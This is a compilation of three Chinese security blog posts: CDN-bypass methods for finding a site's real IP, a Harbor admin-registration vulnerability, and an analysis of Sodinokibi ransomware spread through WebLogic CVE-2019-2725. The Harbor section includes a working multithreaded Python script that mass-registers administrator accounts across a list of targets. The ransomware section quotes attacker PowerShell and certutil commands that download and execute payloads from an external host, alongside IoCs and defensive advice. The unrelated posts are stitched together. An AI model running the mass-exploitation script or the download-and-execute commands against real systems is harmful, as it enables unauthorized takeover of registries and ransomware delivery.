0x00 前言    现在很多大网站基本上都使用了CDN进行加速访问，方便快速响应用户的请求，提高用户访问体验。这种做法对于我们日常的渗透测试来说，CDN的虚假IP确实很干扰我们的测试。因此很有必要了解一下，如何绕过CDN，找到网站的真实IP。 0x01 判断是否开启CDN  要看一个网站是否开启CDN功能，方法很简单。只要在不同的地区ping网址就可以：例如在北京ping得到的IP地址是111.161.66.167，但在江苏地区ping得到的IP确是61.147.92.111。像这样在不同地区ping同一个网址，我们得到不同的IP地址，那么这种情况，我们就可以判断该网站开了CDN加速。我们使用在线的工具，如下： 备用线路1：http://ping.chinaz.com/ 备用线路1：http://ping.aizhan.com/ 备用线路2：http://tools.fastweb.com.cn/Index/Ping 或者kali里: [email protected]:~# dnsenum -o /root/baidu.com -t 30 --threads 30 baidu.com [email protected]:~# dnsrecon -d baidu.com -n 114.114.114.114 --threads 15 --lifetime 30 --xml /root/baidu.com1  0x02 二级域名法 目标站点一般不会把所有的二级域名放cdn上。比如试验性质地二级域名。Google site一下目标的域名，看有没有二级域名出现，挨个排查，确定了没使用cdn的二级域名后。本地将目标域名绑定到同ip（修改host文件），如果能访问就说明目标站与此二级域名在同一个服务器上；如果两者不在同一服务器也可能在同C段，扫描C段所有开80端口的ip，挨个试。 二级域名在线查询： 备用线路1：http://i.links.cn/subdomain/ 备用线路2：在AWVS中有子域名查询工具 0x03 nslookup法  大部分CDN提供商只针对国内市场，而对国外市场几乎是不做CDN，所以有很大的几率会直接解析到真实IP。其实这个方法根本不用上国外vpn，因为你上国外vpn的ping本质，就是使用国外dns(那台vpn服务器使用的dns)查询域名而已，所以只需要： nslookup http://xxx.com 国外dns，就行了，例如：nslookup http://xxx.com 8.8.8.8，提示：你要找冷门国外DNS才行，像谷歌的DNS，国内用的人越来越多了，很多CDN提供商都把谷歌DNS作为国内市场之一，所以，你查到的结果会和国内差不了多少 或者查询域名的NS记录，其域名记录中的MX记录，TXT记录等很有可能指向的是真实ip或同C段服务器。 这里给大家列几个国外可用的DNS服务器 Google Public DNS （8.8.8.8， 8.8.4.4） OpenDNS （208.67.222.222， 208.67.220.220） OpenDNS Family （208.67.222.123， 208.67.220.123） Dyn DNS （216.146.35.35， 216.146.36.36） Comodo Secure (8.26.56.26， 8.20.247.20) UltraDNS （156.154.70.1， 156.154.71.1） Norton ConnectSafe (199.85.126.10, 199.85.127.10) 0x04 ping法 ping http://xxx.com 因为现在有很多CDN厂商基本只要求把 www. xxx .com cname到cdn主服务器上去。www. xxx .com 和http://xxx.com 是两条独立的解析记录 一般只会把 www. xxx .com 做 CDN。 或者使用国外的多节点ping工具，例如just-ping，全世界几十个节点ping目标域名，很有可能找到真实ip。域名：CA App Synthetic Monitor website monitoring service 0x05 看历史纪录  指的是查找域名历史解析记录，因为域名在上CDN之前用的IP，很有可能就是CDN的真实源IP地址，有专门的网站提供域名解析历史记录查询： http://toolbar.netcraft.com/site_report?url=www.xxx.com  0x06看订阅邮件 有的服务器本地自带sendmail… 注册之后，会主动发一封邮件给我们...好吧,打开邮件的源代码,你就能看到服务器的真实ip了.有的大型互联网网站会有自己的Mailserver.但是应该会在一个网段，这时候扫下C段就行 0x07 rss订阅 一般也会得到真实的IP地址，通过rss订阅的方式，可以查找到订阅的消息中真实IP 转自：赛客社区-http://zone.secevery.com/?/article/236

0x01漏洞描述 Harbor 是一个用于存储和分发 Docker 镜像的企业级 Registry 服务器，通过添加一些企业必需的功能特性，例如安全、标识和管理等，扩展了开源 Docker Distribution。作为一个企业级私有 Registry 服务器，Harbor 提供了更好的性能和安全。提升用户使用 Registry 构建和运行环境传输镜像的效率。Harbor 支持安装在多个 Registry 节点的镜像资源复制，镜像全部保存在私有 Registry 中， 确保数据和知识产权在公司内部网络中管控。另外，Harbor 也提供了高级的安全特性，诸如用户管理，访问控制和活动审计等。 近日 Harbor 曝出一个垂直越权漏洞，因注册模块对参数校验不严格，可导致任意管理员注册。攻击者可以通过注册管理员账号来接管 Harbor 镜像仓库，从而写入恶意镜像，最终可以感染使用此仓库的客户端。 0x02漏洞复现访问Harbor网站，点击注册然后抓取post数据包数据包后面加上："has_admin_role":true查看返回响应包、201代表成功登录看看，发现好多人已经撸了- -0x03 批量脚本import requests import json import csv from concurrent.futures import ThreadPoolExecutor def exp(url): url = url + '/api/users' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } payload = { "username": "test1", "email": "[email protected]", "realname": "test1", "password": "Aa123456", "comment": "test1", "has_admin_role": True } payload = json.dumps(payload) try: requests.packages.urllib3.disable_warnings() r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False) if r.status_code == 201: print(url) except Exception as e: pass if __name__ == '__main__': data = open('ip.txt') # 批量IP reader = csv.reader(data) # 50是线程 with ThreadPoolExecutor(50) as pool: for row in reader: if 'http' not in row[0]: url = 'http://' + row[0] else: url = row[0] pool.submit(exp, url) username,email,realname,password,comment参数自行修改，成功后会打印出URL。仅供技术学习交流、请勿用于非法行为、否则后果自负。

0x01事件来源 接到xx反馈，有攻击者利用Oracle WebLogic中最近披露的漏洞来安装一种名为“Sodinokibi”的新勒索软件。Sodinokibi尝试加密用户目录中的数据并删除副本备份，以使数据恢复更加困难。 Oracle在4月26日修补了该漏洞，攻击者很容易利用此漏洞，因为任何对WebLogic服务器具有HTTP访问权限的人都可以进行攻击。 从4月17日开始，攻击者一直在野外利用这种攻击。 0x02样本分析 勒索软件攻击的最初阶段发生在4月25日，也就是Oracle发布更新的前一天。 在2019年4月26日，攻击者与一个易受攻击的服务器建立HTTP连接，请求Oracle WebLogic Server的AsyncResponderService。 大多数勒索软件需要某种形式的用户交互，例如用户打开电子邮件附件，点击恶意链接或在设备上运行恶意软件。在这种情况下，攻击者只是利用Oracle WebLogic漏洞，导致受影响的服务器从攻击者控制的IP地址188.166.74. 218和45.55.211.79下载勒索软件的副本。188.166.74.218 IP地址也是与此勒索软件攻击无关的一对其他恶意域的所在地：arg0s-co.uk，这可能是一个网络钓鱼域；projectstore.guru，是一个伪造PDF相关谷歌搜索结果的域名；另一个IP，45.55.211.79，拥有一对合法的智利域名，似乎已经被攻击者感染并重新利用。在这次事件中，攻击者最终成功加密了许多系统。 我们观察到来自130.61.54.136的攻击请求。HTTP POST请求包含cmd.exe指令的参数 - 用于从主机188.166.74.218下载名为“radm.exe”的文件的PowerShell命令，然后在本地保存该文件并执行它。 cmd /c powershell.exe wgethttp[:]//188.166.74[.]218/radm.exe -outfile %TEMP%/radm.exe&cmd.exe /c%TEMP%\radm.exe 除了PowerShell之外，我们还观察到攻击者创造性地将certutil程序传递给cmd以下载文件： cmd /c cmd.exe /c certutil.exe -urlcache -split -fhttp[:]//188.166.74[.]218/radm.exe %TEMP%/radm.exe&cmd.exe /c%TEMP%\radm.exe 除了“radm.exe”，研究人员在PowerShell和certutil命令中观察到多个文件名，包括： hxxp[:]//188.166.74[.]218/office.exe hxxp[:]//188.166.74[.]218/radm.exe hxxp[:]//188.166.74[.]218/untitled.exe hxxp[:]//45.55.211[.]79/.cache/untitled.exe 沙箱将此样本识别为潜在的勒索软件。 VirusTotal网站在71种不同引擎中的43种中成功检测到相同的二进制哈希值。 下面，我们可以使用“cmd.exe”查看恶意文件“untitled.exe”来执行vssadmin.exe应用程序。此操作是勒索软件的常用策略，可防止用户轻松恢复其数据。它会尝试删除默认的Windows备份机制，也称为“卷影副本”，以防止从这些备份中恢复原始文件。 在这种情况下，勒索信息将受害者引导至Tor网络上的.onion网站或今年3月31日注册的域解密.top的公共网站。使用Sodinokibi，每个加密系统都会看到不同的加密文件扩展名。赎金票据文件名还包括此扩展名作为前缀（例如，88f2947s-HOW-TO-DECRYPT.txt）。 完成在受害者网络内部署Sodinokibi勒索软件后，攻击者在大约八小时后又进行了一次额外的CVE-2019-2725漏洞利用尝试。然而，这一次，攻击者选择Gandcrabv5.2。我们发现奇怪的是，攻击者会选择在同一目标上发起额外的，不同的勒索软件。Sodinokibi是一种新的勒索软件，也许攻击者觉得他们早先的尝试没有成功，仍然希望通过Gandcrab来赚钱。 0x03病毒防护 这次攻击引人注目，因为攻击者利用0day漏洞攻击来发送勒索软件。 由于Oracle WebLogic服务器易受利用此漏洞，预计会发生涉及CVE-2019-2725的广泛攻击，我们建议采取以下措施： 针对CVE-2019-2725尽快修补WebLogic 记录并集中收集Web，应用程序和操作系统事件。 限制用于运行WebLogic进程的帐户的访问权限 监控数据： 从数据中心系统出口网络通信。 外部HTTP POST到新URI。 限制出口数据中心通信。 对网络进行分段以进行防御和监控。 控制URL访问（在这种情况下，外部访问“/ async / ”和“/ wls-wsat /_ ”）。 维护和测试数据备份和恢复。 配置PowerShell以仅执行签名脚本。 0x04IoCs Ransomwaresamples: 0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d 34dffdb04ca07b014cdaee857690f86e490050335291ccc84c94994fa91e0160 74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655cbb42044913384a6ac 95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05 fa2bccdb9db2583c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451 Distribution URLs: hxxp://188.166.74[.]218/office.exe hxxp://188.166.74[.]218/radm.exe hxxp://188.166.74[.]218/untitled.exe hxxp://45.55.211[.]79/.cache/untitled.exe Attacker IP: 130.61.54[.]136 Attacker Domain: decryptor[.]top 0x05参考信息 https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html